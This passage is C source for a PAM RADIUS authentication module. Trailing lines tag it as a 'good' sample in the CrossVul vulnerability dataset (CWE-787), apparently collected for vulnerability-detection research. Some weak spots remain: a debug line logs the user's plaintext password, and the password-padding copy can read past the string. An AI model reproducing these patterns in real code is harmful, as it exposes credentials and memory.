MD5Update(&my_md5, (unsigned char *)request, len + secretlen); MD5Final(request->vector, &my_md5); /* set the final vector */ } /* * Verify the response from the server */ static int verify_packet(char *secret, AUTH_HDR *response, AUTH_HDR *request) { MD5_CTX my_md5; unsigned char calculated[AUTH_VECTOR_LEN]; unsigned char reply[AUTH_VECTOR_LEN]; /* * We could dispense with the memcpy, and do MD5's of the packet * + vector piece by piece. This is easier understand, and maybe faster. */ memcpy(reply, response->vector, AUTH_VECTOR_LEN); /* save the reply */ memcpy(response->vector, request->vector, AUTH_VECTOR_LEN); /* sent vector */ /* MD5(response packet header + vector + response packet data + secret) */ MD5Init(&my_md5); MD5Update(&my_md5, (unsigned char *) response, ntohs(response->length)); /* * This next bit is necessary because of a bug in the original Livingston * RADIUS server. The authentication vector is *supposed* to be MD5'd * with the old password (as the secret) for password changes. * However, the old password isn't used. The "authentication" vector * for the server reply packet is simply the MD5 of the reply packet. * Odd, the code is 99% there, but the old password is never copied * to the secret! */ if (*secret) { MD5Update(&my_md5, (unsigned char *) secret, strlen(secret)); } MD5Final(calculated, &my_md5); /* set the final vector */ /* Did he use the same random vector + shared secret? */ if (memcmp(calculated, reply, AUTH_VECTOR_LEN) != 0) { return FALSE; } return TRUE; } /* * Find an attribute in a RADIUS packet. Note that the packet length * is *always* kept in network byte order. */ static attribute_t *find_attribute(AUTH_HDR *response, unsigned char type) { attribute_t *attr = (attribute_t *) &response->data; int len = ntohs(response->length) - AUTH_HDR_LEN; while (attr->attribute != type) { if ((len -= attr->length) <= 0) { return NULL; /* not found */ } attr = (attribute_t *) ((char *) attr + attr->length); } return attr; } /* * Add an attribute to a RADIUS packet. */ static void add_attribute(AUTH_HDR *request, unsigned char type, CONST unsigned char *data, int length) { attribute_t *p; p = (attribute_t *) ((unsigned char *)request + ntohs(request->length)); p->attribute = type; p->length = length + 2; /* the total size of the attribute */ request->length = htons(ntohs(request->length) + p->length); memcpy(p->data, data, length); } /* * Add an integer attribute to a RADIUS packet. */ static void add_int_attribute(AUTH_HDR *request, unsigned char type, int data) { int value = htonl(data); add_attribute(request, type, (unsigned char *) &value, sizeof(int)); } /* * Add a RADIUS password attribute to the packet. Some magic is done here. * * If it's an PW_OLD_PASSWORD attribute, it's encrypted using the encrypted * PW_PASSWORD attribute as the initialization vector. * * If the password attribute already exists, it's over-written. This allows * us to simply call add_password to update the password for different * servers. */ static void add_password(AUTH_HDR *request, unsigned char type, CONST char *password, char *secret) { MD5_CTX md5_secret, my_md5; unsigned char misc[AUTH_VECTOR_LEN]; int i; int length = strlen(password); unsigned char hashed[256 + AUTH_PASS_LEN]; /* can't be longer than this */ unsigned char *vector; attribute_t *attr; if (length > MAXPASS) { /* shorten the password for now */ length = MAXPASS; } if (length == 0) { length = AUTH_PASS_LEN; /* 0 maps to 16 */ } if ((length & (AUTH_PASS_LEN - 1)) != 0) { length += (AUTH_PASS_LEN - 1); /* round it up */ length &= ~(AUTH_PASS_LEN - 1); /* chop it off */ } /* 16*N maps to itself */ memset(hashed, 0, length); memcpy(hashed, password, length); attr = find_attribute(request, PW_PASSWORD); if (type == PW_PASSWORD) { vector = request->vector; } else { vector = attr->data; /* attr CANNOT be NULL here. */ } /* ************************************************************ */ /* encrypt the password */ /* password : e[0] = p[0] ^ MD5(secret + vector) */ MD5Init(&md5_secret); MD5Update(&md5_secret, (unsigned char *) secret, strlen(secret)); my_md5 = md5_secret; /* so we won't re-do the hash later */ MD5Update(&my_md5, vector, AUTH_VECTOR_LEN); MD5Final(misc, &my_md5); /* set the final vector */ xor(hashed, misc, AUTH_PASS_LEN); /* For each step through, e[i] = p[i] ^ MD5(secret + e[i-1]) */ for (i = 1; i < (length >> 4); i++) { my_md5 = md5_secret; /* grab old value of the hash */ MD5Update(&my_md5, &hashed[(i-1) * AUTH_PASS_LEN], AUTH_PASS_LEN); MD5Final(misc, &my_md5); /* set the final vector */ xor(&hashed[i * AUTH_PASS_LEN], misc, AUTH_PASS_LEN); } if (type == PW_OLD_PASSWORD) { attr = find_attribute(request, PW_OLD_PASSWORD); } if (!attr) { add_attribute(request, type, hashed, length); } else { memcpy(attr->data, hashed, length); /* overwrite the packet */ } } static void cleanup(radius_server_t *server) { radius_server_t *next; while (server) { next = server->next; _pam_drop(server->hostname); _pam_forget(server->secret); _pam_drop(server); server = next; } } /* * allocate and open a local port for communication with the RADIUS * server */ static int initialize(radius_conf_t *conf, int accounting) { struct sockaddr salocal; char hostname[BUFFER_SIZE]; char secret[BUFFER_SIZE]; char buffer[BUFFER_SIZE]; char *p; FILE *fserver; radius_server_t *server = NULL; struct sockaddr_in * s_in; int timeout; int line = 0; /* the first time around, read the configuration file */ if ((fserver = fopen (conf_file, "r")) == (FILE*)NULL) { _pam_log(LOG_ERR, "Could not open configuration file %s: %s\n", conf_file, strerror(errno)); return PAM_ABORT; } while (!feof(fserver) && (fgets (buffer, sizeof(buffer), fserver) != (char*) NULL) && (!ferror(fserver))) { line++; p = buffer; /* * Skip blank lines and whitespace */ while (*p && ((*p == ' ') || (*p == '\t') || (*p == '\r') || (*p == '\n'))) { p++; } /* * Nothing, or just a comment. Ignore the line. */ if ((!*p) || (*p == '#')) { continue; } timeout = 3; if (sscanf(p, "%s %s %d", hostname, secret, &timeout) < 2) { _pam_log(LOG_ERR, "ERROR reading %s, line %d: Could not read hostname or secret\n", conf_file, line); continue; /* invalid line */ } else { /* read it in and save the data */ radius_server_t *tmp; tmp = malloc(sizeof(radius_server_t)); if (server) { server->next = tmp; server = server->next; } else { conf->server = tmp; server= tmp; /* first time */ } /* sometime later do memory checks here */ server->hostname = strdup(hostname); server->secret = strdup(secret); server->accounting = accounting; server->port = 0; if ((timeout < 1) || (timeout > 60)) { server->timeout = 3; } else { server->timeout = timeout; } server->next = NULL; } } fclose(fserver); if (!server) { /* no server found, die a horrible death */ _pam_log(LOG_ERR, "No RADIUS server found in configuration file %s\n", conf_file); return PAM_AUTHINFO_UNAVAIL; } /* open a socket. Dies if it fails */ conf->sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (conf->sockfd < 0) { _pam_log(LOG_ERR, "Failed to open RADIUS socket: %s\n", strerror(errno)); return PAM_AUTHINFO_UNAVAIL; } /* set up the local end of the socket communications */ s_in = (struct sockaddr_in *) &salocal; memset ((char *) s_in, '\0', sizeof(struct sockaddr)); s_in->sin_family = AF_INET; s_in->sin_addr.s_addr = INADDR_ANY; s_in->sin_port = 0; if (bind(conf->sockfd, &salocal, sizeof (struct sockaddr_in)) < 0) { _pam_log(LOG_ERR, "Failed binding to port: %s", strerror(errno)); close(conf->sockfd); return PAM_AUTHINFO_UNAVAIL; } return PAM_SUCCESS; } /* * Helper function for building a radius packet. * It initializes *some* of the header, and adds common attributes. */ static void build_radius_packet(AUTH_HDR *request, CONST char *user, CONST char *password, radius_conf_t *conf) { char hostname[256]; uint32_t ipaddr; hostname[0] = '\0'; gethostname(hostname, sizeof(hostname) - 1); request->length = htons(AUTH_HDR_LEN); if (password) { /* make a random authentication req vector */ get_random_vector(request->vector); } add_attribute(request, PW_USER_NAME, (unsigned char *) user, strlen(user)); /* * Add a password, if given. */ if (password) { add_password(request, PW_PASSWORD, password, conf->server->secret); /* * Add a NULL password to non-accounting requests. */ } else if (request->code != PW_ACCOUNTING_REQUEST) { add_password(request, PW_PASSWORD, "", conf->server->secret); } /* the packet is from localhost if on localhost, to make configs easier */ if ((conf->server->ip.s_addr == ntohl(0x7f000001)) || (!hostname[0])) { ipaddr = 0x7f000001; } else { struct hostent *hp; if ((hp = gethostbyname(hostname)) == (struct hostent *) NULL) { ipaddr = 0x00000000; /* no client IP address */ } else { ipaddr = ntohl(*(uint32_t *) hp->h_addr); /* use the first one available */ } } /* If we can't find an IP address, then don't add one */ if (ipaddr) { add_int_attribute(request, PW_NAS_IP_ADDRESS, ipaddr); } /* There's always a NAS identifier */ if (conf->client_id && *conf->client_id) { add_attribute(request, PW_NAS_IDENTIFIER, (unsigned char *) conf->client_id, strlen(conf->client_id)); } /* * Add in the port (pid) and port type (virtual). * * We might want to give the TTY name here, too. */ add_int_attribute(request, PW_NAS_PORT_ID, getpid()); add_int_attribute(request, PW_NAS_PORT_TYPE, PW_NAS_PORT_TYPE_VIRTUAL); } /* * Talk RADIUS to a server. * Send a packet and get the response */ static int talk_radius(radius_conf_t *conf, AUTH_HDR *request, AUTH_HDR *response, char *password, char *old_password, int tries) { socklen_t salen; int total_length; fd_set set; struct timeval tv; time_t now, end; int rcode; struct sockaddr saremote; struct sockaddr_in *s_in = (struct sockaddr_in *) &saremote; radius_server_t *server = conf->server; int ok; int server_tries; int retval; /* ************************************************************ */ /* Now that we're done building the request, we can send it */ /* Hmm... on password change requests, all of the found server information could be saved with a pam_set_data(), which means even the radius_conf_t information will have to be malloc'd at some point On the other hand, we could just try all of the servers again in sequence, on the off chance that one may have ended up fixing itself. */ /* loop over all available servers */ while (server != NULL) { /* clear the response */ memset(response, 0, sizeof(AUTH_HDR)); /* only look up IP information as necessary */ if ((retval = host2server(server)) != PAM_SUCCESS) { _pam_log(LOG_ERR, "Failed looking up IP address for RADIUS server %s (errcode=%d)", server->hostname, retval); ok = FALSE; goto next; /* skip to the next server */ } /* set up per-server IP && port configuration */ memset ((char *) s_in, '\0', sizeof(struct sockaddr)); s_in->sin_family = AF_INET; s_in->sin_addr.s_addr = htonl(server->ip.s_addr); s_in->sin_port = server->port; total_length = ntohs(request->length); if (!password) { /* make an RFC 2139 p6 request authenticator */ get_accounting_vector(request, server); } server_tries = tries; send: /* send the packet */ if (sendto(conf->sockfd, (char *) request, total_length, 0, &saremote, sizeof(struct sockaddr_in)) < 0) { _pam_log(LOG_ERR, "Error sending RADIUS packet to server %s: %s", server->hostname, strerror(errno)); ok = FALSE; goto next; /* skip to the next server */ } /* ************************************************************ */ /* Wait for the response, and verify it. */ salen = sizeof(struct sockaddr); tv.tv_sec = server->timeout; /* wait for the specified time */ tv.tv_usec = 0; FD_ZERO(&set); /* clear out the set */ FD_SET(conf->sockfd, &set); /* wait only for the RADIUS UDP socket */ time(&now); end = now + tv.tv_sec; /* loop, waiting for the select to return data */ ok = TRUE; while (ok) { rcode = select(conf->sockfd + 1, &set, NULL, NULL, &tv); /* select timed out */ if (rcode == 0) { _pam_log(LOG_ERR, "RADIUS server %s failed to respond", server->hostname); if (--server_tries) { goto send; } ok = FALSE; break; /* exit from the select loop */ } else if (rcode < 0) { /* select had an error */ if (errno == EINTR) { /* we were interrupted */ time(&now); if (now > end) { _pam_log(LOG_ERR, "RADIUS server %s failed to respond", server->hostname); if (--server_tries) goto send; ok = FALSE; break; /* exit from the select loop */ } tv.tv_sec = end - now; if (tv.tv_sec == 0) { /* keep waiting */ tv.tv_sec = 1; } } else { /* not an interrupt, it was a real error */ _pam_log(LOG_ERR, "Error waiting for response from RADIUS server %s: %s", server->hostname, strerror(errno)); ok = FALSE; break; } /* the select returned OK */ } else if (FD_ISSET(conf->sockfd, &set)) { /* try to receive some data */ if ((total_length = recvfrom(conf->sockfd, (void *) response, BUFFER_SIZE, 0, &saremote, &salen)) < 0) { _pam_log(LOG_ERR, "error reading RADIUS packet from server %s: %s", server->hostname, strerror(errno)); ok = FALSE; break; /* there's data, see if it's valid */ } else { char *p = server->secret; if ((ntohs(response->length) != total_length) || (ntohs(response->length) > BUFFER_SIZE)) { _pam_log(LOG_ERR, "RADIUS packet from server %s is corrupted", server->hostname); ok = FALSE; break; } /* Check if we have the data OK. We should also check request->id */ if (password) { if (old_password) { #ifdef LIVINGSTON_PASSWORD_VERIFY_BUG_FIXED p = old_password; /* what it should be */ #else p = ""; /* what it really is */ #endif } /* * RFC 2139 p.6 says not do do this, but the Livingston 1.16 * server disagrees. If the user says he wants the bug, give in. */ } else { /* authentication request */ if (conf->accounting_bug) { p = ""; } } if (!verify_packet(p, response, request)) { _pam_log(LOG_ERR, "packet from RADIUS server %s failed verification: " "The shared secret is probably incorrect.", server->hostname); ok = FALSE; break; } /* * Check that the response ID matches the request ID. */ if (response->id != request->id) { _pam_log(LOG_WARNING, "Response packet ID %d does not match the " "request packet ID %d: verification of packet fails", response->id, request->id); ok = FALSE; break; } } /* * Whew! The select is done. It hasn't timed out, or errored out. * It's our descriptor. We've got some data. It's the right size. * The packet is valid. * NOW, we can skip out of the select loop, and process the packet */ break; } /* otherwise, we've got data on another descriptor, keep select'ing */ } /* go to the next server if this one didn't respond */ next: if (!ok) { radius_server_t *old; /* forget about this server */ old = server; server = server->next; conf->server = server; _pam_forget(old->secret); free(old->hostname); free(old); if (server) { /* if there's more servers to check */ /* get a new authentication vector, and update the passwords */ get_random_vector(request->vector); request->id = request->vector[0]; /* update passwords, as appropriate */ if (password) { get_random_vector(request->vector); if (old_password) { /* password change request */ add_password(request, PW_PASSWORD, password, old_password); add_password(request, PW_OLD_PASSWORD, old_password, old_password); } else { /* authentication request */ add_password(request, PW_PASSWORD, password, server->secret); } } } continue; } else { /* we've found one that does respond, forget about the other servers */ cleanup(server->next); server->next = NULL; live_server = server; /* we've got a live one! */ break; } } if (!server) { _pam_log(LOG_ERR, "All RADIUS servers failed to respond."); if (conf->localifdown) retval = PAM_IGNORE; else retval = PAM_AUTHINFO_UNAVAIL; } else { retval = PAM_SUCCESS; } return retval; } /************************************************************************** * MIDLEVEL PAM CODE **************************************************************************/ /* this is our front-end for module-application conversations */ #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) { return retval; } static int rad_converse(pam_handle_t *pamh, int msg_style, char *message, char **password) { CONST struct pam_conv *conv; struct pam_message resp_msg; CONST struct pam_message *msg[1]; struct pam_response *resp = NULL; int retval; resp_msg.msg_style = msg_style; resp_msg.msg = message; msg[0] = &resp_msg; /* grab the password */ retval = pam_get_item(pamh, PAM_CONV, (CONST void **) &conv); PAM_FAIL_CHECK; retval = conv->conv(1, msg, &resp,conv->appdata_ptr); PAM_FAIL_CHECK; if (password) { /* assume msg.type needs a response */ /* I'm not sure if this next bit is necessary on Linux */ #ifdef sun /* NULL response, fail authentication */ if ((resp == NULL) || (resp->resp == NULL)) { return PAM_SYSTEM_ERR; } #endif *password = resp->resp; free(resp); } return PAM_SUCCESS; } /************************************************************************** * GENERAL CODE **************************************************************************/ #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) { \ int *pret = malloc(sizeof(int)); \ *pret = retval; \ pam_set_data(pamh, "rad_setcred_return", (void *) pret, _int_free); \ return retval; } PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh,int flags,int argc,CONST char **argv) { CONST char *user; CONST char *userinfo; char *password = NULL; CONST char *rhost; char *resp2challenge = NULL; int ctrl; int retval = PAM_AUTH_ERR; int num_challenge = 0; char recv_buffer[4096]; char send_buffer[4096]; AUTH_HDR *request = (AUTH_HDR *) send_buffer; AUTH_HDR *response = (AUTH_HDR *) recv_buffer; radius_conf_t config; ctrl = _pam_parse(argc, argv, &config); /* grab the user name */ retval = pam_get_user(pamh, &user, NULL); PAM_FAIL_CHECK; /* check that they've entered something, and not too long, either */ if ((user == NULL) || (strlen(user) > MAXPWNAM)) { int *pret = malloc(sizeof(int)); *pret = PAM_USER_UNKNOWN; pam_set_data(pamh, "rad_setcred_return", (void *) pret, _int_free); DPRINT(LOG_DEBUG, "User name was NULL, or too long"); return PAM_USER_UNKNOWN; } DPRINT(LOG_DEBUG, "Got user name %s", user); if (ctrl & PAM_RUSER_ARG) { retval = pam_get_item(pamh, PAM_RUSER, (CONST void **) &userinfo); PAM_FAIL_CHECK; DPRINT(LOG_DEBUG, "Got PAM_RUSER name %s", userinfo); if (!strcmp("root", user)) { user = userinfo; DPRINT(LOG_DEBUG, "Username now %s from ruser", user); } else { DPRINT(LOG_DEBUG, "Skipping ruser for non-root auth"); } } /* * Get the IP address of the authentication server * Then, open a socket, and bind it to a port */ retval = initialize(&config, FALSE); PAM_FAIL_CHECK; /* * If there's no client id specified, use the service type, to help * keep track of which service is doing the authentication. */ if (!config.client_id) { retval = pam_get_item(pamh, PAM_SERVICE, (CONST void **) &config.client_id); PAM_FAIL_CHECK; } /* now we've got a socket open, so we've got to clean it up on error */ #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) {goto error; } /* build and initialize the RADIUS packet */ request->code = PW_AUTHENTICATION_REQUEST; get_random_vector(request->vector); request->id = request->vector[0]; /* this should be evenly distributed */ /* grab the password (if any) from the previous authentication layer */ if (!config.force_prompt) { DPRINT(LOG_DEBUG, "ignore last_pass, force_prompt set"); retval = pam_get_item(pamh, PAM_AUTHTOK, (CONST void **) &password); PAM_FAIL_CHECK; } if (password) { password = strdup(password); DPRINT(LOG_DEBUG, "Got password %s", password); } /* no previous password: maybe get one from the user */ if (!password) { if (ctrl & PAM_USE_FIRST_PASS) { retval = PAM_AUTH_ERR; /* use one pass only, stopping if it fails */ goto error; } /* check to see if we send a NULL password the first time around */ if (!(ctrl & PAM_SKIP_PASSWD)) { retval = rad_converse(pamh, PAM_PROMPT_ECHO_OFF, config.prompt, &password); PAM_FAIL_CHECK; } } /* end of password == NULL */ build_radius_packet(request, user, password, &config); /* not all servers understand this service type, but some do */ add_int_attribute(request, PW_USER_SERVICE_TYPE, PW_AUTHENTICATE_ONLY); /* * Tell the server which host the user is coming from. * * Note that this is NOT the IP address of the machine running PAM! * It's the IP address of the client. */ retval = pam_get_item(pamh, PAM_RHOST, (CONST void **) &rhost); PAM_FAIL_CHECK; if (rhost) { add_attribute(request, PW_CALLING_STATION_ID, (unsigned char *) rhost, strlen(rhost)); } DPRINT(LOG_DEBUG, "Sending RADIUS request code %d", request->code); retval = talk_radius(&config, request, response, password, NULL, config.retries + 1); PAM_FAIL_CHECK; DPRINT(LOG_DEBUG, "Got RADIUS response code %d", response->code); /* * If we get an authentication failure, and we sent a NULL password, * ask the user for one and continue. * * If we get an access challenge, then do a response, for as many * challenges as we receive. */ while (response->code == PW_ACCESS_CHALLENGE) { attribute_t *a_state, *a_reply; char challenge[BUFFER_SIZE]; /* Now we do a bit more work: challenge the user, and get a response */ if (((a_state = find_attribute(response, PW_STATE)) == NULL) || ((a_reply = find_attribute(response, PW_REPLY_MESSAGE)) == NULL)) { /* Actually, State isn't required. */ _pam_log(LOG_ERR, "RADIUS Access-Challenge received with State or Reply-Message missing"); retval = PAM_AUTHINFO_UNAVAIL; goto error; } /* * Security fixes. */ if ((a_state->length <= 2) || (a_reply->length <= 2)) { _pam_log(LOG_ERR, "RADIUS Access-Challenge received with invalid State or Reply-Message"); retval = PAM_AUTHINFO_UNAVAIL; goto error; } memcpy(challenge, a_reply->data, a_reply->length - 2); challenge[a_reply->length - 2] = 0; /* It's full challenge-response, we should have echo on */ retval = rad_converse(pamh, PAM_PROMPT_ECHO_ON, challenge, &resp2challenge); PAM_FAIL_CHECK; /* now that we've got a response, build a new radius packet */ build_radius_packet(request, user, resp2challenge, &config); /* request->code is already PW_AUTHENTICATION_REQUEST */ request->id++; /* one up from the request */ if (rhost) { add_attribute(request, PW_CALLING_STATION_ID, (unsigned char *) rhost, strlen(rhost)); } /* copy the state over from the servers response */ add_attribute(request, PW_STATE, a_state->data, a_state->length - 2); retval = talk_radius(&config, request, response, resp2challenge, NULL, 1); PAM_FAIL_CHECK; DPRINT(LOG_DEBUG, "Got response to challenge code %d", response->code); /* * max_challenge limits the # of challenges a server can issue * It's a workaround for buggy servers */ if (config.max_challenge > 0 && response->code == PW_ACCESS_CHALLENGE) { num_challenge++; if (num_challenge >= config.max_challenge) { DPRINT(LOG_DEBUG, "maximum number of challenges (%d) reached, failing", num_challenge); break; } } } /* Whew! Done the pasword checks, look for an authentication acknowledge */ if (response->code == PW_AUTHENTICATION_ACK) { retval = PAM_SUCCESS; } else { retval = PAM_AUTH_ERR; /* authentication failure */ error: /* If there was a password pass it to the next layer */ if (password && *password) { pam_set_item(pamh, PAM_AUTHTOK, password); } } DPRINT(LOG_DEBUG, "authentication %s", retval==PAM_SUCCESS ? "succeeded":"failed"); close(config.sockfd); cleanup(config.server); _pam_forget(password); _pam_forget(resp2challenge); { int *pret = malloc(sizeof(int)); *pret = retval; pam_set_data(pamh, "rad_setcred_return", (void *) pret, _int_free); } return retval; } /* * Return a value matching the return value of pam_sm_authenticate, for * greatest compatibility. * (Always returning PAM_SUCCESS breaks other authentication modules; * always returning PAM_IGNORE breaks PAM when we're the only module.) */ PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh,int flags,int argc,CONST char **argv) { int retval, *pret; retval = PAM_SUCCESS; pret = &retval; pam_get_data(pamh, "rad_setcred_return", (CONST void **) &pret); return *pret; } #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) { return PAM_SESSION_ERR; } static int pam_private_session(pam_handle_t *pamh, int flags, int argc, CONST char **argv, int status) { CONST char *user; int ctrl; int retval = PAM_AUTH_ERR; char recv_buffer[4096]; char send_buffer[4096]; AUTH_HDR *request = (AUTH_HDR *) send_buffer; AUTH_HDR *response = (AUTH_HDR *) recv_buffer; radius_conf_t config; ctrl = _pam_parse(argc, argv, &config); /* grab the user name */ retval = pam_get_user(pamh, &user, NULL); PAM_FAIL_CHECK; /* check that they've entered something, and not too long, either */ if ((user == NULL) || (strlen(user) > MAXPWNAM)) { return PAM_USER_UNKNOWN; } /* * Get the IP address of the authentication server * Then, open a socket, and bind it to a port */ retval = initialize(&config, TRUE); PAM_FAIL_CHECK; /* * If there's no client id specified, use the service type, to help * keep track of which service is doing the authentication. */ if (!config.client_id) { retval = pam_get_item(pamh, PAM_SERVICE, (CONST void **) &config.client_id); PAM_FAIL_CHECK; } /* now we've got a socket open, so we've got to clean it up on error */ #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) {goto error; } /* build and initialize the RADIUS packet */ request->code = PW_ACCOUNTING_REQUEST; get_random_vector(request->vector); request->id = request->vector[0]; /* this should be evenly distributed */ build_radius_packet(request, user, NULL, &config); add_int_attribute(request, PW_ACCT_STATUS_TYPE, status); sprintf(recv_buffer, "%08d", (int) getpid()); add_attribute(request, PW_ACCT_SESSION_ID, (unsigned char *) recv_buffer, strlen(recv_buffer)); add_int_attribute(request, PW_ACCT_AUTHENTIC, PW_AUTH_RADIUS); if (status == PW_STATUS_START) { session_time = time(NULL); } else { add_int_attribute(request, PW_ACCT_SESSION_TIME, time(NULL) - session_time); } retval = talk_radius(&config, request, response, NULL, NULL, 1); PAM_FAIL_CHECK; /* oops! They don't have the right password. Complain and die. */ if (response->code != PW_ACCOUNTING_RESPONSE) { retval = PAM_PERM_DENIED; goto error; } retval = PAM_SUCCESS; error: close(config.sockfd); cleanup(config.server); return retval; } PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags, int argc, CONST char **argv) { return pam_private_session(pamh, flags, argc, argv, PW_STATUS_START); } PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags, int argc, CONST char **argv) { return pam_private_session(pamh, flags, argc, argv, PW_STATUS_STOP); } #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) {return retval; } #define MAX_PASSWD_TRIES 3 PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, CONST char **argv) { CONST char *user; char *password = NULL; char *new_password = NULL; char *check_password = NULL; int ctrl; int retval = PAM_AUTHTOK_ERR; int attempts; char recv_buffer[4096]; char send_buffer[4096]; AUTH_HDR *request = (AUTH_HDR *) send_buffer; AUTH_HDR *response = (AUTH_HDR *) recv_buffer; radius_conf_t config; ctrl = _pam_parse(argc, argv, &config); /* grab the user name */ retval = pam_get_user(pamh, &user, NULL); PAM_FAIL_CHECK; /* check that they've entered something, and not too long, either */ if ((user == NULL) || (strlen(user) > MAXPWNAM)) { return PAM_USER_UNKNOWN; } /* * Get the IP address of the authentication server * Then, open a socket, and bind it to a port */ retval = initialize(&config, FALSE); PAM_FAIL_CHECK; /* * If there's no client id specified, use the service type, to help * keep track of which service is doing the authentication. */ if (!config.client_id) { retval = pam_get_item(pamh, PAM_SERVICE, (CONST void **) &config.client_id); PAM_FAIL_CHECK; } /* now we've got a socket open, so we've got to clean it up on error */ #undef PAM_FAIL_CHECK #define PAM_FAIL_CHECK if (retval != PAM_SUCCESS) {goto error; } /* grab the old password (if any) from the previous password layer */ retval = pam_get_item(pamh, PAM_OLDAUTHTOK, (CONST void **) &password); PAM_FAIL_CHECK; if (password) password = strdup(password); /* grab the new password (if any) from the previous password layer */ retval = pam_get_item(pamh, PAM_AUTHTOK, (CONST void **) &new_password); PAM_FAIL_CHECK; if (new_password) new_password = strdup(new_password); /* preliminary password change checks. */ if (flags & PAM_PRELIM_CHECK) { if (!password) { /* no previous password: ask for one */ retval = rad_converse(pamh, PAM_PROMPT_ECHO_OFF, config.prompt, &password); PAM_FAIL_CHECK; } /* * We now check the password to see if it's the right one. * If it isn't, we let the user try again. * Note that RADIUS doesn't have any concept of 'root'. The only way * that root can change someone's password is to log into the RADIUS * server, and and change it there. */ /* build and initialize the access request RADIUS packet */ request->code = PW_AUTHENTICATION_REQUEST; get_random_vector(request->vector); request->id = request->vector[0]; /* this should be evenly distributed */ build_radius_packet(request, user, password, &config); add_int_attribute(request, PW_USER_SERVICE_TYPE, PW_AUTHENTICATE_ONLY); retval = talk_radius(&config, request, response, password, NULL, 1); PAM_FAIL_CHECK; /* oops! They don't have the right password. Complain and die. */ if (response->code != PW_AUTHENTICATION_ACK) { _pam_forget(password); retval = PAM_PERM_DENIED; goto error; } /* * We're now sure it's the right user. * Ask for their new password, if appropriate */ if (!new_password) { /* not found yet: ask for it */ int new_attempts; attempts = 0; /* loop, trying to get matching new passwords */ while (attempts++ < 3) { /* loop, trying to get a new password */ new_attempts = 0; while (new_attempts++ < 3) { retval = rad_converse(pamh, PAM_PROMPT_ECHO_OFF, "New password: ", &new_password); PAM_FAIL_CHECK; /* the old password may be short. Check it, first. */ if (strcmp(password, new_password) == 0) { /* are they the same? */ rad_converse(pamh, PAM_ERROR_MSG, "You must choose a new password.", NULL); _pam_forget(new_password); continue; } else if (strlen(new_password) < 6) { rad_converse(pamh, PAM_ERROR_MSG, "it's WAY too short", NULL); _pam_forget(new_password); continue; } /* insert crypt password checking here */ break; /* the new password is OK */ } if (new_attempts >= 3) { /* too many new password attempts: die */ retval = PAM_AUTHTOK_ERR; goto error; } /* make sure of the password by asking for verification */ retval = rad_converse(pamh, PAM_PROMPT_ECHO_OFF, "New password (again): ", &check_password); PAM_FAIL_CHECK; retval = strcmp(new_password, check_password); _pam_forget(check_password); /* if they don't match, don't pass them to the next module */ if (retval != 0) { _pam_forget(new_password); rad_converse(pamh, PAM_ERROR_MSG, "You must enter the same password twice.", NULL); retval = PAM_AUTHTOK_ERR; goto error; /* ??? maybe this should be a 'continue' ??? */ } break; /* everything's fine */ } /* loop, trying to get matching new passwords */ if (attempts >= 3) { /* too many new password attempts: die */ retval = PAM_AUTHTOK_ERR; goto error; } } /* now we have a new password which passes all of our tests */ /* * Solaris 2.6 calls pam_sm_chauthtok only ONCE, with PAM_PRELIM_CHECK * set. */ #ifndef sun /* If told to update the authentication token, do so. */ } else if (flags & PAM_UPDATE_AUTHTOK) { #endif if (!password || !new_password) { /* ensure we've got passwords */ retval = PAM_AUTHTOK_ERR; goto error; } /* build and initialize the password change request RADIUS packet */ request->code = PW_PASSWORD_REQUEST; get_random_vector(request->vector); request->id = request->vector[0]; /* this should be evenly distributed */ /* the secret here can not be know to the user, so it's the new password */ _pam_forget(config.server->secret); config.server->secret = strdup(password); /* it's free'd later */ build_radius_packet(request, user, new_password, &config); add_password(request, PW_OLD_PASSWORD, password, password); retval = talk_radius(&config, request, response, new_password, password, 1); PAM_FAIL_CHECK; /* Whew! Done password changing, check for password acknowledge */ if (response->code != PW_PASSWORD_ACK) { retval = PAM_AUTHTOK_ERR; goto error; } } /* * Send the passwords to the next stage if preliminary checks fail, * or if the password change request fails. */ if ((flags & PAM_PRELIM_CHECK) || (retval != PAM_SUCCESS)) { error: /* If there was a password pass it to the next layer */ if (password && *password) { pam_set_item(pamh, PAM_OLDAUTHTOK, password); } if (new_password && *new_password) { pam_set_item(pamh, PAM_AUTHTOK, new_password); } } if (ctrl & PAM_DEBUG_ARG) { _pam_log(LOG_DEBUG, "password change %s", retval==PAM_SUCCESS ? "succeeded" : "failed"); } close(config.sockfd); cleanup(config.server); _pam_forget(password); _pam_forget(new_password); return retval; } /* * Do nothing for account management. This is apparently needed by * some programs. */ PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh,int flags,int argc,CONST char **argv) { int retval; retval = PAM_SUCCESS; return retval; } #ifdef PAM_STATIC /* static module data */ struct pam_module _pam_radius_modstruct = { "pam_radius_auth", pam_sm_authenticate, pam_sm_setcred, pam_sm_acct_mgmt, pam_sm_open_session, pam_sm_close_session, pam_sm_chauthtok, }; #endif
./CrossVul/dataset_final_sorted/CWE-787/c/good_1881_0
crossvul-cpp_data_good_3108_0
